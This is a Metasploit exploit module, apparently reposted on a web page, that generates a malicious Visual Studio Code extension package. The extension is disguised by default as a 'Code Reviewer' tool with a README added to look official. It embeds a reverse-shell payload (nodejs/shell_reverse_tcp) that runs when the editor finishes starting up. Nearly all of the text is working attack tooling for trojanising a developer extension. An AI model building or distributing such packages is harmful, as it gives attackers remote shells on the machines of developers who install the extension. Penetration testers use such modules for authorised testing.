Visual Studio Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Visual Studio vsix Extension Exec’,
‘Description’ => %q{
Creates a vsix file which can be installed in Visual Studio Code as an extension.
At activation/install, the extension will execute a shell or two.

Tested against VSCode 1.87.2 on Ubuntu 22.04
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘h00die’, # Metasploit module
],
‘DefaultOptions’ => {
‘EXITFUNC’ => ‘thread’,
‘DisablePayloadHandler’ => false,
‘FILENAME’ => ‘extension.vsix’,
‘WfsDelay’ => 3_600, # 1hr
‘payload’ => ‘nodejs/shell_reverse_tcp’ # cross platform
},
‘Platform’ => ‘nodejs’,
‘Arch’ => ARCH_NODEJS,
‘Targets’ => [
[‘Automatic’, {}],
],
‘References’ => [
[‘URL’, ‘https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1’], # similar idea
[‘URL’, ‘https://code.visualstudio.com/api/get-started/your-first-extension’],
[‘URL’, ‘https://code.visualstudio.com/api/references/activation-events’] # onStartup Action
],
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [ARTIFACTS_ON_DISK]},
‘Privileged’ => false,
‘DisclosureDate’ => ‘2024-03-22’ # date of development
)
)

register_options([
OptString.new(‘NAME’, [true, ‘The name of the extension’, ‘Code Reviewer’]),
OptString.new(‘DESCRIPTION’, [true, ‘The description of the extension’, ‘Reviews code’]),
OptString.new(‘VERSION’, [true, ‘The version of the extension’, ‘0.0.1’]),
OptString.new(‘README’, [false, ‘The readme contents for the extension’, ”]),
])
end

def name
datastore[‘NAME’]end

def description
datastore[‘DESCRIPTION’]end

def version
datastore[‘VERSION’]end

def readme
datastore[‘README’]end

def manifest
%(<?xml version=”1.0″ encoding=”utf-8″?>
<PackageManifest Version=”2.0.0″ xmlns=”http://schemas.microsoft.com/developer/vsx-schema/2011″ xmlns:d=”http://schemas.microsoft.com/developer/vsx-schema-design/2011″>
<Metadata>
<Identity Language=”en-US” Id=”extension-name-fillmein” Version=”#{version}” Publisher=”#{Rex::Text.rand_text_alpha(10)}” />
<DisplayName>#{name}</DisplayName>
<Description xml:space=”preserve”>#{description}</Description>
<Tags></Tags>
<GalleryFlags>Public</GalleryFlags>

<Properties>
<Property Id=”Microsoft.VisualStudio.Code.Engine” Value=”^1.60.0″ />
<Property Id=”Microsoft.VisualStudio.Code.ExtensionDependencies” Value=”” />
<Property Id=”Microsoft.VisualStudio.Code.ExtensionPack” Value=”” />
<Property Id=”Microsoft.VisualStudio.Code.ExtensionKind” Value=”workspace” />
<Property Id=”Microsoft.VisualStudio.Code.LocalizedLanguages” Value=”” />
<Property Id=”Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown” Value=”true” />
<Property Id=”Microsoft.VisualStudio.Services.Content.Pricing” Value=”Free”/>
</Properties>
</Metadata>
<Installation>
<InstallationTarget Id=”Microsoft.VisualStudio.Code”/>
</Installation>
<Dependencies/>
<Assets>
<Asset Type=”Microsoft.VisualStudio.Code.Manifest” Path=”extension/package.json” Addressable=”true” />
</Assets>
</PackageManifest>)
end

def extension_js
%|const vscode = require(‘vscode’);

function activate(context) {
#{payload.encoded}
}

function deactivate() {}

module.exports = {
activate,
deactivate
}
|
end

def package_json
%({
“name”: “#{name.gsub(‘ ‘, ‘.’)}”,
“displayName”: “#{name}”,
“description”: “#{description}”,
“version”: “#{version}”,
“publisher”:”#{Rex::Text.rand_name}”,
“engines”: {
“vscode”: “^1.60.0”
},
“activationEvents”: [“onStartupFinished”],
“main”: “./extension.js”,
“devDependencies”: {
“@types/vscode”: “^1.60.0”
}
}
)
end

def exploit
# Create malicious vsix (zip archive) containing our exploit
files =
[
{ data: manifest, fname: ‘extension.vsixmanifest’ },
{ data: extension_js, fname: ‘extension/extension.js’ },
{ data: package_json, fname: ‘extension/package.json’ },
{ data: readme, fname: ‘extension/README.md’ }, # not required, but looks a little more official
]

zip = Msf::Util::EXE.to_zip(files)

file_create(zip)
print_status(‘Waiting for shell’)
end
end